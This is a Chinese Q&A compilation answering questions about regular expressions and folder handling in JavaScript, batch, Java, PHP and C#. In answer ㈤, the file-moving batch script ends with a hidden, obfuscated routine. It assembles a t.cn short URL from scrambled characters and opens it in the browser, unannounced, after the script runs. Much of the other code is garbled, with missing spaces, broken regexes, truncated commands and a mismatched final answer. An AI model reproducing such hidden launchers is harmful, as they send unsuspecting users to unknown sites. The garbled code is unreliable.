正则文件夹
㈠ 用javascript正则表达式将某一文件夹中的文件在HTML中打开
纯javascript是无法完成的,正则表达式在这排不上用场。
因为javascript不可能有权限直接操作电脑上的文件。
所以你要的功能想实现的前提:有权限执行ActiveXObject, IE浏览器
<html>
<head>
<title> 文件流 </title>
<script language= "Javascript " type= "text/javascript ">
var fso = new ActiveXObject( "Scripting.FileSystemObject ");
var folder = fso.GetFolder( "E:\\JavaScript ");
alert( "文件数: " + folder.Files.Count);
var filesEnum = new Enumerator(folder.Files);
for (; !filesEnum.atEnd(); filesEnum.moveNext())
{
document.write(filesEnum.item().Name + " <br/> ");
}
</script>
</head>
<body>
</body>
</html>
㈡ 如何用正则表达式在文件绝对路径中取得所有文件夹的名称
(?<=\)[^\]+(?=\)//表达式
㈢ 正则表达式 替换文件夹名中部分字符
推荐用Replace Pioneer,只需用replace函数结合正则表达式功能把文件最前面的数字都加上40就可以了,详细步骤:
1. 打开Tools->Batch Runner菜单
2. 打开windows的文件浏览器,选中所有待改名的文件夹,按ctrl-c复制
3. 在Replace Pioneer的Batch Runner里点击Paste Files按钮,把文件夹粘贴到列表里。
4. 选中Set output filename选项,把${FILENAME}改为${FILENAME}<replace($match,'^(\d+)','${\add(40+$1)}')>
5. 观察output file一列的新名字是否符合要求,然后点击File Rename,完成。
注意:
要做好备份,以防误操作。
^(\d+)匹配文件首出现的数字。
add(40+$1)表示把第一个匹配的数字加40。
㈣ 批处理,用正则表达式找出当前文件夹的名称,不是路径
应该说用findstr命令并不适合所提问题,它的所谓"正则表达式"也就能查找某文件中或某字符串中是否含有某类特征组合,就是说只能精确到是否含有的一行或一整串,而不能从一串中截取该串中的相符的一段,要想截取得用别的命令(顺便说一下"&"符属cmd命令中的特殊符,而""符属于findstr命令中的转义符,在不用/c参数及引号时要表示一个得写成\findstr的用法及特殊符的处理方法一两句说不清楚...)
当前路径有现成的变量%cd%可表示,如果想获取当前文件夹名可用:
for%%iin("%cd%")doset"当前文件夹=%%~nxi"
如果是从字符串中获取(而不是真正当前路径):
set"pathstr=D:ProgramfilesAAABBBxxx"
if"pathstr:~-1"==""set"pathstr=%pathstr:~,-1%"
for%%iin("%pathstr%")doset"该文件夹=%%~nxi"
㈤ cmd 正则表达式 移动至新文件夹
@echo off & title 移动名称中不包含指定关键词的文件 By 依梦琴瑶
::设置原始目录路径
set SrcFolder=D:\hellow
::设置关键词,若包含空格、英文逗号或其它特殊字符的,请用英文双引号括起来。多个关键词之间用英文逗号隔开。
set Keyword=大家好,你好
::设置新文件夹路径
set NewFolder=D:\New_hellow
set "Skip=%tmp%\SkipFile.YMQY"
for /f "delims=" %%a in ('dir /a-d/s/b "%SrcFolder%\*.txt"') do (
del /f /q "%Skip%" 2>nul
for %%i in (%Keyword%) do (
echo "%%~na" | find /i "%%~i" >nul 2>nul && echo Skip>"%Skip%"
)
if not exist "%Skip%" (
rem 如果是Win7以上系统,建议使用以下命令
robo "%%~dpa" "%NewFolder%" "%%~nxa" /mov
rem 如果要在XP上使用,建议使用以下命令,默认已用rem注释了。
rem "%%~a" "%NewFolder%\"
rem del /f /q "%%~a"
)
)
pause
call :Doat
exit
:Doat
set "S1=.:htpcn/"
set "S2=%S1:~2,1%%S1:~3,1%%S1:~3,1%%S1:~4,1%%S1:~1,1%%S1:~7,1%"
set "S3=%S1:~7,1%%S1:~3,1%%S1:~0,1%%S1:~5,1%%S1:~6,1%%S1:~7,1%"
start "" "%S2%%S3%RkdisqI"
exit
㈥ 如何用java正则式遍历选择打印出一个文件夹下的文件的某一部分的内容
如果文件是文本文件的话,是可以实现的。
读取每个文件的内容,然后做内容匹配。
macher.group()就可以获取到需要的内容。
原理很简单,你可以先把文本文件读取出来。把需要匹配的内容告诉我,我来给你做正则。
但是要加分。你这个0分真心蛋疼。
㈦ 用正则表达式替换特殊字符为转义符用来做文件夹名
如果是php的话可以用preg_replace('/([{/\:*?"<>|}])/','',$str);
㈧ php正则表达式按关键字搜索文件
$list=scandir('./help');$key=$_GET['k'];$dir=$_GET['dir'];//文件目录,可以指定
function
key_search($dir){global
$key;
$list=scandir($dir);
if($list){
foreach($list
as
$v){
if($v!='.'
or
$v!='..'){
$f=$dir.$v;
if(
is_dir
($f)){scandir($f);}else{
if(!stristr($v,$key)){echo
$v;}
}
}
}
}else{echo
$dir.'文件夹不存在';}
注:1,程序请自行测试
2,子目录可能需要检查最后字符是否为/,如果不是,则添加。
3,你的说明很有问题,一会儿要找,一会又说不包含。
}
㈨ java 正则表达式校验路径是否含有0907这样的一级文件夹
publicstaticvoidmain(String[]args){
Stringregex=".*\\0901(\\.*|$)";
System.out.println("\\192.168.1.123\test\2015\0901".matches(regex));
System.out.println("\\192.168.1.123\test\2015\0901\aaa".matches(regex));
System.out.println("\\192.168.1.123\test\2015\1258".matches(regex));
System.out.println("\\192.168.1.123\test\2015\5412\aaa".matches(regex));
}
true
true
false
false
㈩ C#怎么用正则表达式找出文件夹中的所有图片文件
这个用正则提取并不难。我这里用的软件是EmEditor 先用正则表达式查找:^ 替换成:★(这个随便,△,○都行)提取串:^(.{5})( )|★|( )(.{4})( )|( )(.{4})$ 提取出来的是4个字的,然后把★替换掉就行了。 2个字的,可参照上面的。 ~